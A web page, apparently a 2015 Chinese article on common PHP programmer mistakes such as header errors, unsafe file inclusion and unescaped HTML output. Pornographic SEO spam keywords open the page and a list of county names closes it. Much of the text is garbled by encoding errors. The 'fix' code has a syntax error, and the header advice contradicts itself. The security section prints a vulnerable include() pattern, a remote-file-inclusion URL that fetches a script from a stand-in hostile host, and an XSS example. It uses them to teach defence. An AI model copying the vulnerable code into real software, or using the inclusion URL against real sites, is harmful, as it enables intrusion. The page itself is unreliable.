国产精品19区精品中文字幕最新|激情视频高清无码久爱国产在线资源|亚州伊人无码综2018亚洲天堂|国产精品毛区无码国产二区三区视频|国产A级直播国产专区第一页|一区二区黄片91嫩草国产线|18综合视频欧美日韩六区|天天拍,夜夜激情午夜精品

<center id="iokbm"></center>
<center id="iokbm"></center>
<sub id="iokbm"></sub>

    1. <form id="iokbm"><sup id="iokbm"></sup></form>

        PHP程序員最易犯的錯誤匯總


        發(fā)布日期:2015-05-28

         

        今天我們沈陽網(wǎng)站制作來為大家列出PHP程序員最易犯的錯誤,大家也來看一看哪些是我們犯過的錯誤。

        1、錯誤的使用HTTP-header 相關(guān)的函數(shù): header(), session_start(), setcookie()
         
        遇到過這個警告嗎?
         
        "warning: Cannot add header information - headers already sent [....]
         
        每次從服務(wù)器下載一個網(wǎng)頁的時候,服務(wù)器的輸出都分成兩個部分:頭部和正文。
         
        頭部包含了一些非可視的數(shù)據(jù),例如cookie。頭部總是先到達(dá)。正文部分包括可視的html,圖片等數(shù)據(jù)。
         
        如果output_buffering設(shè)置為Off,所有的HTTP-header相關(guān)的函數(shù)必須在有輸出之前調(diào)用。問題在于你在一個環(huán)境中開發(fā),而在部署到另一個環(huán)境中去的時候,output_buffering的設(shè)置可能不一樣。結(jié)果轉(zhuǎn)向停止了,cookie和session都沒有正確的設(shè)置……
         
        如何修復(fù):
         
        確保在輸出之前調(diào)用http-header相關(guān)的函數(shù),并且令output_buffering = Off。
         
        2、語法錯誤
         
        語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認(rèn)真學(xué)習(xí)PHP的語法,仔細(xì)一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!
         
        3、不使用framework
         
        95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現(xiàn)在有很多MVC的框架來幫我們完成這四件事,我們?yōu)楹尾皇褂盟麄兡兀?/div>
         
        4、使用舊版本的PHP
         
        很多程序員還在使用PHP4,在PHP4上開發(fā)不能充分發(fā)揮PHP的潛能,還存在一些安全的隱患。轉(zhuǎn)到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據(jù)http://www.nexen.net的調(diào)查只有12%的PHP服務(wù)器使用PHP5,所以有88%的PHP開發(fā)者還在使用PHP4。
         
        5、不知道PHP中已經(jīng)有的功能
         
        PHP 的核心包含很多功能。很多程序員重復(fù)的發(fā)明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發(fā)現(xiàn)!PHP中的exec()是一個強大的函數(shù),可以執(zhí)行cmd shell,并把執(zhí)行結(jié)果的最后一行以字符串的形式返回??紤]到安全可以使用EscapeShellCmd()。

        6、很少使用或不用面向?qū)ο?/p>

        很多的項目都沒有使用PHP的面向?qū)ο蠹夹g(shù),結(jié)果就是代碼的維護(hù)變得非常耗時耗力。PHP支持的面向?qū)ο蠹夹g(shù)越來越多,越來越好,我們沒有理由不使用面向?qū)ο蟆?/div>
         
        7、Require 或 include 的文件使用不安全的數(shù)據(jù)
         
        再次強調(diào):不要相信不是你自己顯式聲明的數(shù)據(jù)。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。
         
        例如:
         
         
        index.php 
        <? 
        //including header, config, database connection, etc 
        include($_GET['filename']); 
        //including footer 
        ?>
         
        現(xiàn)在任一個****現(xiàn)在都可以用:
         
        http://www.yourdomain.com/index.php?filename=anyfile.txt
         
        來獲取你的機密信息,或執(zhí)行一個PHP腳本。
         
        如果allow_url_fopen=On,你更是死定了:
         
        試試這個輸入:
         
        http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
         
        現(xiàn)在你的網(wǎng)頁中包含了http://www.youaredoomed.com/phphack.php的輸出. ****可以發(fā)送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。
         
        如何修復(fù):
         
        你必須自己控制哪些文件可以包含在的include或require指令中。
         
        下面是一個快速但不全面的解決方法:
         
         
        <? 
        //Include only files that are allowed. 
        $allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
        if(in_array((string)$_GET['filename'],$allowedFiles)) { 
        include($_GET['filename']); 
        else{ 
        exit('not allowed'); 
        ?>
         
        8、不轉(zhuǎn)意html entities
         
        一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數(shù)據(jù)) ,輸出之前都要轉(zhuǎn)意。
         
        echo $_GET['usename'] ;
         
        這個例子有可能輸出:
         
        <scrīpt>/*更改admin密碼的腳本或設(shè)置cookie的腳本*/</scrīpt>
         
        這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。
         
        如何修復(fù) :
         
        我們需要將"< ",">","and" 等轉(zhuǎn)換成正確的HTML表示(< , >', and "),函數(shù)htmlspecialchars 和 htmlentities()正是干這個活的。
         
        正確的方法:
         
        echo htmlspecialchars($_GET['username'], ENT_QUOTES);

         

        井陉县| 丰顺县| 万安县| 贺州市| 普安县| 新源县| 沾益县| 长武县| 黑水县| 确山县| 泾阳县| 涪陵区| 湖北省| 黑龙江省| 上思县| 武邑县| 潮州市| 卓尼县| 长泰县| 凤凰县| 定兴县| 当阳市| 台湾省| 康马县| 泌阳县| 邳州市| 新郑市| 纳雍县| 新密市| 塔河县| 鸡泽县| 昌黎县| 黄冈市| 固镇县| 南充市| 大田县| 凤冈县| 鲁甸县| 漯河市| 富宁县| 中西区|